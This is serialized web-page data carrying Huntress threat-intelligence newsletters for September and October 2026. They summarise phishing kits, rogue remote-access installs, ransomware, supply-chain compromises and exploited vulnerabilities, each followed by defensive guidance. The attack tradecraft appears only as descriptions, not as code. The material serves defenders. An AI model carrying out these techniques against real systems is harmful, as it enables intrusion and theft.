0},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":2874},{"_211":346,"_213":383,"_34":2875,"_216":383,"_218":2876,"_54":381,"_220":221,"_222":618,"_224":221,"_225":2877,"_227":228,"_56":388,"_230":230,"_231":2878,"_233":2879,"_283":17,"_235":236,"_237":2880},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":2881,"_250":396,"_252":397,"_254":398,"_77":2882,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":2883},[],{},[],"olsv8zc271",{},[2884,2885,2886],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":2889},{"_266":2888},{"_266":2887},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2893},"August 2026",{"_60":2897,"_62":2898,"_64":2899,"_66":2900,"_68":2901,"_70":2902,"_74":2903,"_77":2904,"_56":2896,"_79":2905,"_81":2906,"_83":2907,"_85":2908,"_89":90,"_91":2909},"c0ccc90496684de78285cf36900ce3e8","Threat View from the Lens of Huntress Adversary Tactics: September 2026",[2976,2977,2978],{"_94":95},[],{"_186":2975,"_188":189,"_190":191,"_183":192},{},{},{"_122":1982,"_94":17},{"_181":2974,"_183":2896},{"_106":2910},"Wed Sep 30 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"september-2026",[93],[2911,2912,2913,2914,2915],{"_113":2474,"_115":2953,"_117":1969,"_118":169},{"_113":2448,"_115":2940,"_117":97,"_118":156},{"_113":141,"_115":2932,"_117":2697,"_118":144},{"_113":2435,"_115":2920,"_117":2921,"_118":131},{"_113":2430,"_115":2916,"_117":97,"_118":119},[2917],{"_122":2918,"_102":2919,"_682":17,"_125":97},"

September’s Tradecraft Tuesday, “Borrowed Faces, Borrowed Certs,” unpacked a post-DEFCON campaign that impersonated a CoinDesk executive and used a Google Doc as lure and reconnaissance tool. A container-bound Apps Script collected a viewer’s IP address, location, browser details, and crypto-wallet extensions, then sent the data to Telegram. Victims were steered toward macOS or Windows payloads through decryption errors, ClickFix prompts, and downloads signed with stolen certificates. The macOS path delivered an AMOS-like stealer, while the Windows chain recovered a NetSupport RAT, a rogue certificate authority, and a crypto-wallet implant. Researchers also showed how they recovered stages after C2 went offline. Check out the full recap here—and make sure to sign up for our October Tradecraft Tuesday!

$\"\"$ The September Tradecraft Tuesday episode was focused on a post-DEFCON malware campaign

","Tradecraft Tuesday: Borrowed Faces, Borrowed Certs: Inside a Post-DEFCON Malware Campaign",[2922,2923,2924,2925,2926],"

Check out this month’s Product Lab, where Huntress CTO Chris Bisnett and Chief Innovation Officer Daniel Westendorf discussed product updates, upcoming features, and more.

$\"\"$ September 2026 Product Lab

",{"_122":2931,"_102":470,"_682":17,"_125":97},{"_122":2930,"_102":468,"_682":17,"_125":97},{"_122":2929,"_102":2367,"_682":17,"_125":97},{"_122":2928,"_102":466,"_682":17,"_125":97},{"_122":2927,"_102":464,"_682":17,"_125":97},"

New Learner Onboarding Video: This new assignable video gives learners the complete run down of what to expect from their new Security Awareness Training program, from episodes, to phishing scenarios, Phishing Defense Coaching, Threat Simulators, and more.

","

New log sources in the Huntress SIEM: We are happy to announce that we officially support powerful new log sources, including IT Glue, Cato, Checkpoint, N-Able, and Scout DNS. By normalizing this data, we are unlocking deeper, more actionable insights into your IT infrastructure than ever before!

","

Managed ISPM now offers two ways to deploy security controls: Managed Deployments, the recommended default, is when Huntress picks the controls and rolls them out for you automatically. It’s built for teams that want hardening handled without hands-on review. Brand new: Modified Deployments allow you to build your own set of controls from the full Huntress policy library and set your own rollout schedule. New controls aren’t rolled out until you’ve first approved them. This method is built for change-control and compliance-heavy environments like CMMC or ISO 27001.
New security controls in Managed ISPM: As we continue to build out depth of controls to harden Microsoft 365 environments, we have added new controls in Microsoft Exchange Online and Microsoft Defender for Office 365 to protect against Shadow Workflows.

","

New ITDR dashboard is now live: The redesigned Managed ITDR dashboard is now generally available to all partners and customers! Built to help you investigate identity threats faster and get the context you need in one place, the new dashboard brings powerful investigation capabilities directly into your ITDR workflow, including Rapid Identity Triage, Failed Login Characterization, and Quick SIEM Search. Starting now, the redesigned dashboard will be the default dashboard when you access Managed ITDR. Get more ITDR dashboard details in our new blog.

","

Unsecured Credentials - New Credential Files Dashboard and Allowlisting: We've given Unsecured Credentials a complete overhaul, with a new dashboard, full visibility into flagged files, and the ability to allowlist files you don't want reported. What's new?
- Credential Files page. A new home for Unsecured Credentials, available from the Process Insights dashboard in Managed EDR. View and manage every file triggering an Unsecured Credentials report in one place.
- See before you enable. You can now preview which Credential Files would generate an Incident Report, without turning reporting on!
- Allowlisting. Exclude the files you've reviewed and accepted, so reports stay focused on what actually needs attention.

Have you turned these off before? Give them another look.

",[2933,2934],{"_122":2938,"_102":2704,"_682":95,"_125":2939},{"_122":2935,"_102":2936,"_682":95,"_125":2937},"

Huntress investigated three incidents in which social engineering led victims to install rogue ScreenConnect clients. On unrelated endpoints, those clients repeatedly spawned wscript.exe to run four staged VBScript files, then created WindowsServiceHost persistence in AppData. The modified ScreenConnect clients did more than provide remote access: they watched for new Host connections, transferred the same scripts through ScreenConnect’s virtual file-transfer feature, and executed them on connected systems. That gave the campaign a potentially worm-like propagation path. The campaign also used Quick Assist and UltraViewer. ConnectWise released version 26.6.5 to address an authorization flaw in Client Support and Access session file transfers.

$\"\"$ Huntress detected ScreenConnect.WindowsClient.exe spawning the child process wscript.exe

","Rogue ScreenConnect Installations Suggest Worm-Like Activity","

Treat unexplained ScreenConnect clients and RunFiles or RanFiles audit-log entries involving 1.vbs through 4.vbs as signs of compromise. Upgrade to ScreenConnect 26.6.5 and reimage impacted endpoints from known-good media.

","

In August, Huntress supported its customers when N-able disclosed actively exploited N-central flaws. Then September brought a new series of discoveries. On September 5, Huntress reproduced a separate exploit chain affecting fully patched environments, involving CVE-2026-86206 and CVE-2026-86207, that could bypass access controls and create unauthorized administrative accounts. The team shared its findings with N-able, which released Hotfix 3. The next day, N-able disclosed CVE-2026-86218, an actively exploited pre-authentication RCE rated 10.0, and released Hotfix 4, which supersedes prior fixes. Huntress also worked with Cloudflare to disable adversary tunnels and published hunting guidance for API anomalies and suspicious .invalid account changes in N-central environments worldwide.

","

Hotfix 4 is the mandatory baseline for on-premises N-central instances, since Hotfix 3 does not protect against CVE-2026-86218. Restrict inbound access to the console, audit API and account changes, and investigate possible compromise.

",[2941,2942,2943],{"_122":2950,"_102":2951,"_682":95,"_125":2952},{"_122":2947,"_102":2948,"_682":95,"_125":2949},{"_122":2944,"_102":2945,"_682":95,"_125":2946},"

Brevo disclosed a supply-chain attack in which attackers used a compromised Cloudflare API key to deploy a Worker at the CDN edge. For roughly five hours, the Worker rewrote Brevo-hosted scripts embedded on sites. Visitors were shown a fake Cloudflare verification page that pushed ClickFix malware, while logged-in WordPress administrators faced an attempted backdoor installation.

","Brevo supply-chain attack injects ClickFix malware into customer sites","

Security researchers estimated the incident could have affected more than 100,000 websites, demonstrating how one exposed credential can amplify risk.

","

Cisco issued emergency fixes for CVE-2026-76460, a maximum-severity authentication bypass in Identity Services Engine and ISE Passive Identity Connector. The flaw lets an unauthenticated, remote attacker send crafted requests to a vulnerable API endpoint, bypass the web management interface, and gain root-level command execution.

","Cisco patches an actively exploited, maximum-severity ISE flaw","

Cisco confirmed that the vulnerability is being actively exploited, and CISA added it to its Known Exploited Vulnerabilities catalog. Organizations using appliances should apply Cisco’s releases and review systems for compromise.

","

Microsoft’s September Patch Tuesday was its biggest yet, addressing 974 vulnerabilities across Windows, Office, SQL Server, Exchange, SharePoint, Azure, and developer tools. Two Windows privilege-escalation vulnerabilities were already being exploited in the wild, while the release also included 20 potentially wormable flaws. The scale alone makes this update cycle noteworthy, but the active exploitation raises the stakes.

","Microsoft’s record Patch Tuesday includes two exploited zero-days","

Organizations should prioritize the exploited bugs, inventory affected systems, and accelerate testing and deployment of the remaining updates.

",[2954,2955,2956,2957,2958],{"_122":2971,"_102":2972,"_682":95,"_125":2973},{"_122":2968,"_102":2969,"_682":95,"_125":2970},{"_122":2965,"_102":2966,"_682":95,"_125":2967},{"_122":2962,"_102":2963,"_682":95,"_125":2964},{"_122":2959,"_102":2960,"_682":95,"_125":2961},"

Huntress researchers uncovered Knight Office, an operator console behind an adversary-in-the-middle phishing campaign targeting Microsoft 365 accounts. A DocuSign-style lure used Monday redirects and a compromised Joomla website to hide the final phishing page. After a victim completed MFA, the kit captured a valid session token and replayed it from attacker infrastructure, bypassing password-based controls. The actor then registered an unauthorized Microsoft Entra device and bound a Windows Hello for Business key credential to the account. That created durable passwordless access that could survive session revocation. Huntress linked at least nine token-replay attacks to the kit and found hundreds of related lures reported through its telemetry.

$\"\"$ The lure email behind the AiTM attack

","Inside Knight Office, a New M365 AiTM Phishing Kit","

AiTM attacks steal the authenticated session, not just the password. Monitor post-MFA sign-ins from callback proxies, newly registered Entra devices, and new Windows Hello credentials, then revoke sessions and remove unauthorized authentication methods.

","

Huntress researchers found a modular RAT hidden inside a tampered Exodus crypto wallet installer. Victims opened fake PDFs or software-update ZIP files that launched JavaScript, displayed a legitimate decoy document, and silently installed the wallet. The package was nearly indistinguishable from the real application: just three of 1,973 files were modified, and it had no VirusTotal detections. Those changes prevented a window from appearing and loaded a memory-resident payload with hidden VNC, a SOCKS proxy, browser credential theft, file management, and remote commands. An hourly scheduled task relaunched the invisible application, while command-and-control traffic used Azure Table Storage rather than an attacker-owned domain. Learn more about the attack in this blog post by Jonathan Semon and Jose Oregon.

$\"\"$ How an unopenable crypto wallet ends up installing a modular RAT to steal browser credentials

","The Crypto Wallet That Never Opened: Tampered Exodus Installer Hides a Modular RAT","

A trusted application name or a clean hash isn’t necessarily a clean bill of health. Defenders should investigate silent per-user application installs, Electron applications with no visible window, and scheduled tasks launching executables from AppData. They should also treat browser credentials and active sessions on affected hosts as compromised.

","

Huntress investigated a September ransomware incident involving Settra, a newer ransomware variant first publicly reported in June. The Huntress agent was installed while the intrusion was already underway, but telemetry still showed the attacker’s post-compromise playbook. The actor installed MeshAgent for remote access and used a Bring Your Own Vulnerable Driver technique, likely to interfere with security tools. They then launched ransomware from the compromised user’s Documents folder, encrypted files with the .locked_wip extension, created RESTORE_FILES.txt ransom notes, cleared numerous Windows event logs, and disabled Windows recovery options. A misspelled Defender log name left one valuable source of evidence intact. Check out our analysis of Settra for more information.

$\"\"$ Signals indicating the attacker's use of BYOVD and the MeshAgent RMM

","Settra Ransomware Uses MeshAgent and BYOVD","

Watch for unauthorized RMM installations, vulnerable driver loading, log clearing, and recovery-environment changes. Even when encryption succeeds, surviving endpoint telemetry can reveal the attacker’s access path and help scope the broader intrusion.

","

Huntress observed a phishing campaign that abused Microsoft Power BI to make its lure look legitimate and slip past controls that trust the service. Victims received an email linking to a public Power BI page that displayed a fake “Download Reference” button. Clicking it opened an attacker-controlled site that fingerprinted the browser and host before triggering a rogue ScreenConnect download. The initial client installed a second remote-access client, giving the attackers redundant access. In one incident, the attackers also used a PowerShell script, a scheduled task set to run every two minutes, and HideUL_x64.exe to evade defenses. The SOC stopped the activity before it could advance.

$\"\"$ An outline of the phishing campaign

","Power BI Phishing Delivers Rogue ScreenConnect Clients","

A legitimate cloud domain does not make a link safe. Review protections and reporting workflows for trusted services that lead to downloads, and alert on unexpected ScreenConnect clients, scheduled tasks, and remote-access scripts.

","

Huntress SOC analysts investigated two phishing attacks that used browser-in-the-browser pages to impersonate Adobe Reader. In one case, a fake CAPTCHA led to a page showing blurred documents and a prompt to install an “update.” In another, a malicious message delivered through a legitimate communications platform used the same template. Instead of Adobe Reader, victims downloaded rogue ScreenConnect clients. Each attack installed two clients, creating redundant, service-based persistence, before using HideCursor or HideUL to conceal on-screen activity. Huntress stopped both attacks before they progressed further, but the campaigns show how familiar branding and legitimate-looking browser elements can turn a phishing click into persistent remote access. Huntress SOC analyst Sarah Reddish outlined the attack in this blog post.

$\"\"$ A phishing campaign with an Adobe lure

","Browser-in-the-Browser Phishing Delivers Rogue RMMs","

Treat unexpected file-viewing pages, CAPTCHA prompts, and software updates with suspicion, even when they appear to use trusted branding. Restrict unapproved RMM tools and investigate new ScreenConnect installations, unusual relay connections, and executables launched from Downloads folders.

","September 2026 Adversary Tactics: browser-in-the-browser and Power BI phishing that drops rogue RMMs, Settra ransomware using BYOVD, and a tampered Exodus wallet RAT.",{"_193":194,"_195":196,"_104":197},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2979},"September 2026",{"_60":2983,"_62":2984,"_64":2985,"_66":2986,"_68":2987,"_70":2988,"_74":2989,"_77":2990,"_56":2982,"_79":2991,"_81":2992,"_83":2993,"_85":2994,"_89":90,"_91":2995},"c4e5bd2109c74d7cba5f34e74c41f006","Threat View from the Lens of Huntress Adversary Tactics: October 2026",[3074,3075,3076],{"_94":95},[],{"_186":3073,"_188":189,"_190":191,"_183":192},{},{},{"_122":3072,"_94":17},{"_181":3071,"_183":2982},{"_106":2996},"Sat Oct 31 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"october-2026",[93],[2997,2998,2999,3000,3001],{"_113":2474,"_115":3058,"_117":1969,"_118":169},{"_113":141,"_115":3044,"_117":3045,"_118":144},{"_113":2448,"_115":3031,"_117":97,"_118":156},{"_113":2435,"_115":3010,"_117":3011,"_118":131},{"_113":2430,"_115":3002,"_117":97,"_118":119},[3003,3004],{"_122":3007,"_102":3008,"_682":95,"_125":3009},{"_122":3005,"_102":3006,"_682":17,"_125":97},"

Amazon and ChatGPT are just two of the brands impersonated in ClickFix campaigns, where a fake CAPTCHA or software fix talks users into pasting a command into a Run box. One paste can open the door to infostealers or ransomware.

Tyler Bohlmann and Sarah Reddish from Huntress’ SOC and detection engineering team join Ben Nahorney to walk through the most convincing lures Huntress has seen and the infrastructure attackers use to host them.

Join us on November 10 at 1 PM ET.

","Next Tradecraft Tuesday: ClickFix and all its Fixins","

Huntress researchers Andrea Hatcher and Rich Mozeleski examined how phishing kits such as EvilTokens, Knight Office, and Kali365 give less-skilled attackers advanced identity-attack capabilities. Beyond fake login pages, these kits can help operators acquire infrastructure, track victims, relay credentials, steal session tokens, and establish persistence.

The session covered device-code phishing, adversary-in-the-middle phishing, and token replay. Huntress’ ITDR team has found rogue device registration in roughly one in six investigated incidents, reinforcing the need to investigate activity after authentication.

$\"\"$ Andrea Hatcher and Rich Mozeleski discuss tradecraft linked to phishing kits

","Tradecraft Tuesday: Advanced Phishing for Entry-Level Attackers","

Follow the full identity attack chain, from lure and sign-in to token use, device registration, and mailbox activity. Restrict device-code authentication where it is unnecessary, investigate unfamiliar sign-in infrastructure and new authentication methods, and revoke refresh tokens and remove unauthorized devices during containment. Read the session recap or watch on demand.

",[3012,3013,3014,3015,3016,3017,3018,3019],"

",{"_122":3029,"_102":3030,"_682":17,"_125":97},{"_122":3027,"_102":3028,"_682":17,"_125":97},{"_122":3026,"_102":470,"_682":17,"_125":97},{"_122":3025,"_102":468,"_682":17,"_125":97},{"_122":3024,"_102":2367,"_682":17,"_125":97},{"_122":3022,"_102":3023,"_682":17,"_125":97},{"_122":3021,"_102":466,"_682":17,"_125":97},{"_122":3020,"_102":464,"_682":17,"_125":97},"

Security Awareness Training Adds Defense Drills: Defense Drills are now generally available in Huntress Security Awareness Training. Defense Drills are built on threats we’re seeing from the SOC to put emerging tradecraft in front of users even sooner. The interactive exercises walk learners through realistic attacks step by step in a safe environment, helping them recognize what happened and respond more confidently when they encounter similar threats.

","

Brute Force Sentry: This is an upcoming Managed SIEM capability for detecting credential attacks against remote-access services, then escalating when the attack appears to result in a successful login. Coming Nov 18th to all SIEM customers.
Ask SIEM: Ask your SIEM a question in plain English and get a plain-English answer. This feature uses an agentic workflow to plan the investigation, run the queries it needs across your SIEM data, and summarize what it found. Expect for this to be in early adoption in the next two weeks.
Huntress SIEM Extends Process Detections to Third-Party EDR: Huntress SIEM now applies Huntress process detections to CrowdStrike and SentinelOne alerts. Third-party alerts are normalized to the Huntress EDR format, enabling existing detection logic to fire. When the endpoint also has a Huntress agent, the host is automatically added to the investigation so analysts can isolate and remediate it. Cisco AMP alerts are also normalized, with additional detection coverage planned.
Managed SIEM Adds IT Glue, ScreenConnect, and Salesforce Integrations: Managed SIEM now offers generally available integrations for IT Glue, ConnectWise ScreenConnect, and Salesforce. They ingest high-value activity such as credential access and administrative changes, remote-session and login events, and Salesforce audit, API, export, and user activity. The integrations centralize this context for investigations; detections are not yet included.

","

ESPM Attack Reduction Helps Shut Down ClickFix: Huntress Managed ESPM now offers Attack Reduction in Early Access, starting with the ability to block the Windows Run dialog for users who do not need it. The feature baselines Run-dialog use, helps identify ClickFix-style commands, and lets teams block Win + R while preserving access for users who rely on it. Blocking does not stop every ClickFix variant, but it closes a common execution path. Learn more.

","Managed ESPM","

Managed ISPM Adds an Identity Posture Assessment: Huntress Managed ISPM now includes an on-demand, shareable Identity Posture Assessment for Microsoft 365. The report scores controls against the Huntress Identity Security Framework, identifies gaps that Huntress can remediate or require manual action, and can be co-branded for customers. It gives MSPs and security teams a prioritized view of identity risk and progress over time. Learn more.
Managed ISPM Adds Apple Device Management Controls: Managed ISPM now monitors Intune's Apple MDM push certificate, Automated Device Enrollment tokens, and Apple VPP tokens. The new controls flag credentials that have expired or will expire within 30 days, helping teams avoid interruptions to Apple device management, enrollment, and app distribution.
Managed ISPM Adds License and Download Controls: Managed ISPM now flags blocked accounts that retain Exchange, SharePoint/OneDrive, or Teams licenses, helping reduce exposure from dormant accounts. It also checks and enforces the paired Conditional Access and Outlook on the web policies that prevent unmanaged browsers from downloading attachments, without affecting Outlook desktop or mobile apps.
New managed controls identify blocked accounts that still retain Microsoft 365 licenses and prevent unmanaged browsers from downloading Outlook on the web attachments.

","

Managed ITDR 180-Day Lookback for Historical Compromises: Managed ITDR Lookback is now generally available for newly onboarded Microsoft 365 tenants. It automatically examines up to 180 days of sign-in history for prior compromise, then distinguishes historical findings from active threats. When it finds an active compromise, the Huntress SOC investigates and revokes active sessions. The feature is included for trial tenants, too. Learn more.
Managed ITDR Expands Service Principal Protection: In late October, we watched our fleet of 16M+ identities and found more ARTEX/Storm activity that follows the same playbook we saw with SkyKick. SkyKick made it clear that better protection was needed, so we built coverage for every service principal login across all apps. On Friday, October 16, Huntress began ingesting and analyzing service principal sign-in logs across our entire fleet. That means if customer tenants have Microsoft P1 licensing or above, they’re covered. When we spot malicious access to a service principal in tenants, we send an incident report and automatically disable the application—so containment doesn’t hinge on someone catching an alert at 2 a.m.
Analyst-guided persistence remediation lets the SOC propose removal of attacker-added MFA methods, rogue Entra devices, and malicious SharePoint or OneDrive files directly from an incident report.

","

In October, Managed EDR surpassed 6,000,000 protected endpoints! While Windows is still the vast majority of our fleet, we've seen respectable growth across our macOS and Linux fleet, with our macOS fleet nearly doubling this past calendar year.
Huntress Managed EDR now ingests Microsoft Defender XDR incidents with context from Defender for Identity, Defender for Office 365, Defender for Cloud Apps, and Entra ID Protection. The result is a more complete view across endpoint, identity, email, and cloud-app activity, with the Huntress SOC correlating and investigating the signals. This is the kind of visibility that helps defenders spot identity attacks such as the token-replay campaign Huntress recently tracked across 79 organizations.

","

Want to know what’s been going on in Q3 and what’s cooking in Q4 for Huntress’ Product Roadmap? Check out our on-demand Platforms Update, where we talk about highlights and what to expect.

$\"\"$ Huntress platform Q3 highlights and Q4 roadmap

","Huntress Platform Update","

Check out this month’s Product Lab, where Huntress co-founders Kyle Hanslovan and Chris Bisnett opened up the roadmap and took viewers’ feedback live.

$\"\"$ October 2026 Product Lab

","Product Lab",[3032,3033,3034],{"_122":3041,"_102":3042,"_682":95,"_125":3043},{"_122":3038,"_102":3039,"_682":95,"_125":3040},{"_122":3035,"_102":3036,"_682":95,"_125":3037},"

Railway reported unauthorized access to a subset of its internal systems after a sustained campaign beginning October 20. Its investigation found that an attacker may have accessed encrypted customer environment variables and, in some cases, obtained their decrypted contents. Railway said the activity appeared aimed at obtaining AI-provider API keys for model-distillation attacks. The company paused deployments, engaged external incident-response specialists and authorities, and notified customers it identified as directly impacted.

","Railway Urges Credential Rotation After Environment-Variable Exposure","

Environment variables are a high-value secret store, not a safe place to forget credentials. Railway recommends that customers who signed up before October 21 rotate all variables stored on the platform, including API keys and private-registry credentials, and review connected-service logs for unusual activity. Read Railway’s preliminary incident report.

","

LiteLLM disclosed that an attacker compromised its release pipeline and published malicious version 1.107.0 to PyPI and its container registries on October 21. The release contained compiled malware that steals credentials and loads remote-code-execution tools. The PyPI package was available for roughly two hours, while affected Docker images tagged v1.107.0, latest, main-latest, and main-stable were also replaced. LiteLLM removed the artifacts and said private enterprise releases were not affected.

","Compromised LiteLLM Release Delivered Credential-Stealing Malware","

Signed or official package channels can still distribute malicious code after a release-pipeline compromise. Teams that installed or ran LiteLLM 1.107.0 should isolate and rebuild affected systems, rotate secrets available to those environments, and review CI and runtime logs for suspicious activity. Read LiteLLM’s incident report.

","

eMudhra disclosed that private keys for eight emSign G3 intermediate certificate authorities were recoverable because of a script error during a key-generation ceremony. The company said a wrap-and-unwrap step produced a second, weak set of keys, and those were published to browser root stores. eMudhra revoked all eight intermediates on October 18. It says no end-entity certificates were issued from them, its infrastructure was not compromised, and no customer data was breached. Browser root programs also distrusted the associated ECC root as a precaution.

","Weak eMudhra Intermediate CA Keys Trigger Browser Distrust","

Public-key infrastructure depends on sound key generation and fast revocation when trust fails. Organizations should ensure browser and operating-system trust stores are current, inventory certificates issued by affected certificate authorities (CAs), and monitor vendor notices for replacement or distrust requirements. Read eMudhra’s incident statement.

",[3046,3047,3048],"

",{"_122":3055,"_102":3056,"_682":95,"_125":3057},{"_122":3052,"_102":3053,"_682":95,"_125":3054},{"_122":3049,"_102":3050,"_682":95,"_125":3051},"

Huntress issued a Rapid Response after the high-level details of two critical PHP flaws, CVE-2026-109618 and CVE-2026-109619, leaked on October 20, one day before the vulnerabilities and patches were supposed to be disclosed. The flaws can allow unauthenticated remote code execution in PHP, including PHP-FPM, Apache with mod_php, and php-cgi. On October 21, PHP released fixes in versions 8.5.12, 8.4.27, 8.3.36, and 8.2.35.

We have been hunting for malicious PHP activity, and our SOC is on alert for web-server processes spawning shells, interpreters, or download tools. As of October 27, we have not observed exploitation across our partner base.

","PHP2Shell: PHP Flaws Required Patching","

Defenders should inventory every PHP installation, including bundled PHP, then patch internet-facing systems first; isolate end-of-life PHP from internet exposure when an upgrade is not possible; investigate unexpected child processes from php-fpm, php-cgi, httpd, or apache2, and preserve web and PHP logs if compromise is suspected. Read the Rapid Response for more information.

","

Huntress observed threat actors chaining two vulnerabilities in AhsayCBS, a backup-management utility commonly used by managed service providers and system integrators. The attack began with an authentication bypass and led to remote code execution as SYSTEM on exposed hosts. In observed intrusions, attackers conducted reconnaissance, deployed JSP webshells, and installed an XMRig cryptominer disguised as Microsoft Edge. They also used a PowerShell script that monitored for Task Manager and attempted to close it when it remained open.

$\"\"$ Suspicious child processes spawning from AhsayCBS executable files (cbssvcX64.exe)

Ahsay released hotfixes for affected versions, and we independently verified that version 10.3.4.45 mitigates the initial entry point in the observed attack chain. Read the full AhsayCBS exploitation analysis.

","Threat Actors Exploit AhsayCBS Flaws to Drop Webshells and XMRig Cryptominers","

Defenders with AhsayCBS in their environments should apply the patches immediately, restrict access to its management interface, and investigate suspicious activity from AhsayCBS processes, especially unexpected webshells, reconnaissance commands, or cryptominer activity.

","

Huntress confirmed a compromised ConnectWise Cloud Backup credential was used to obtain Graph tokens in Microsoft 365 tenants on October 15. Across unauthorized sign-ins in 162 tenants, we saw a ConnectWise Cloud Management application grant itself Global Administrator, then add secrets elsewhere, creating persistence beyond the original app. Follow-up analysis found scripted enumeration, operator-driven changes, and tooling that adapted.

We contained confirmed activity by removing an unauthorized credential from a Huntress application, enabling App Instance Property Lock, reviewing partner credentials, and sharing guidance (including an incident advisory); while ConnectWise later said it disabled relevant applications. On October 21, Microsoft attributed activity to Storm-0940 using the ARTEX AI framework. Huntress released a follow-up blog analyzing our own telemetry and how it aligns with these findings.

$\"\"$ Activity on October 15 in Huntress-monitored tenants, grouped by behavior

","ConnectWise (SkyKick) Vendor Credentials Abused in M365 Attacks","

In our initial blog, we advised impacted organizations to disable applications without deleting them. We also recommended reviewing enterprise-application secrets and certificates, removing credentials, and investigating vendor role assignments, app modifications, and abnormal user agents.

",[3059,3060,3061],{"_122":3068,"_102":3069,"_682":95,"_125":3070},{"_122":3065,"_102":3066,"_682":95,"_125":3067},{"_122":3062,"_102":3063,"_682":95,"_125":3064},"

Want to see digital forensics in action? A recent Akira ransomware attack left gaps in endpoint telemetry, but forensic artifacts still revealed the attacker’s path from RDP access to encryption.

Huntress investigated an Akira ransomware incident after the Huntress agent was deployed post-compromise, leaving gaps in the available endpoint telemetry. Analysts reconstructed the intrusion from Registry artifacts, Windows Event Logs, Shellbags, and Akira log files. The evidence showed the attacker entering through RDP, disabling Bitdefender services, running procdump.exe from C:\\PerfLogs, deploying a GOST tunneling tool, and using Rclone for data exfiltration before encryption.

Even without a recorded ransomware command line, Huntress connected the timing of a shadow-copy deletion command, Akira log-file creation, and Shellbags evidence showing the actor checking target folders after each encryption run. The investigation shows how forensic artifacts can preserve a usable account of attacker activity, even when EDR coverage begins after initial access.

","Mapping an Akira Ransomware Attack Without a Command Line","

Missing telemetry does not mean an incident cannot be understood. Organizations should protect exposed remote access with MFA, monitor RDP connections from unfamiliar workstations, and investigate unexpected executables or file creation in C:\\PerfLogs. Read the full Akira investigation.

","

A fake WatchGuard VPN download site stole credentials, then delivered the real signed installer to keep victims none the wiser.

The incident began when an administrator searched Bing for the WatchGuard SSL VPN client and clicked a lookalike download site, watchguard-vpn[.]net. The site used a browser pop-up to collect the VPN server address, username, and password. It deliberately rejected the first submission, likely to collect a second credential set, then offered the victim exactly what they expected: a genuine, validly signed WatchGuard installer downloaded from WatchGuard’s own CDN. That last step made this attack tricky for defenders, as it removed the malicious file they could potentially detect on. The main threat in this attack is the credential capture that happens in the browser before the legitimate client downloads.

As of October 13, the main domain linked to the activity Huntress observed (watchguard-vpn[.]net) was offline. Prior to publishing, Huntress notified WatchGuard about this active campaign and shared the relevant infrastructure details. Learn more here.

$\"\"$ End-to-end flow of the WatchGuard VPN credential phish

","Fake WatchGuard VPN Site Steals Credentials, Then Delivers the Real Client","

Publishing and bookmarking official VPN download links can keep users away from search-result lookalikes. Defenders should implement MFA for VPN access, monitor for logins from unfamiliar networks, and treat credentials entered into a suspicious download site as compromised, even if the installed application is legitimate.

","

A sprawling M365 campaign hijacked sessions and dug in across dozens of organizations.

Over the course of 10 weeks, Huntress tracked the major M365 campaign, which stole authenticated sessions through adversary-in-the-middle (AiTM) relays and device-code phishing. The actor launched a token spraying attack, replaying stolen tokens from 1337 Services GmbH infrastructure, leading to 497 successful sign-ins across 79 organizations (and more than 200,000 failed attempts).

Post-compromise, the attacker established persistence by registering 48 rogue Entra devices, replacing victims’ multi-factor authentication (MFA) methods, and creating hidden inbox rules. In one incident, the threat actor also used the compromised mailbox to send outbound spam to hundreds of external recipients.

$\"\"$ Successful sign-in events using token replays over the course of the campaign

","Microsoft 365 Token Replay Campaign Builds Lasting Access","

MFA is an important security step, but it cannot stop replayed post-authentication tokens. Defenders should use Conditional Access, restrict device-code flow, revoke sessions, reset passwords, remove unfamiliar devices and MFA methods, and review suspicious inbox rules in their environments. Read the full campaign analysis for more.

","October 2026 Adversary Tactics: an M365 token replay campaign, a fake WatchGuard VPN site that steals credentials, and an Akira ransomware attack mapped from forensics.","

Welcome to Threat View, your information source for the emerging threats we’re tracking at Huntress and around the world. Let’s work together to wreck hackers who relentlessly target our customers, partners, and their customers. Be safe. Be vigilant. But first, stay informed!

",{"_193":194,"_195":196,"_104":197},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":3077},"October 2026","svVAxzPR0KYX8UrWRr9E1WHQMyr2",1775754683417,{"_3106":3107,"_3108":3109,"_3110":3111,"_3112":3113,"_3114":3115,"_3116":3117,"_3118":3119,"_3120":3121,"_72":3122,"_77":3123,"_3124":3125,"_3126":3127,"_3128":3129,"_3130":95,"_3131":17,"_3132":95,"_3133":3134,"_3135":97,"_3136":17,"_183":3086,"_196":421,"_91":3137},1775844799984,[],1794332070927,{"_551":3097,"_3098":3099,"_553":17,"_554":17,"_3100":17,"_555":9,"_556":3101},"3fa669f9656b425bbe84446dd9c5a7cd","Adversary Tactics 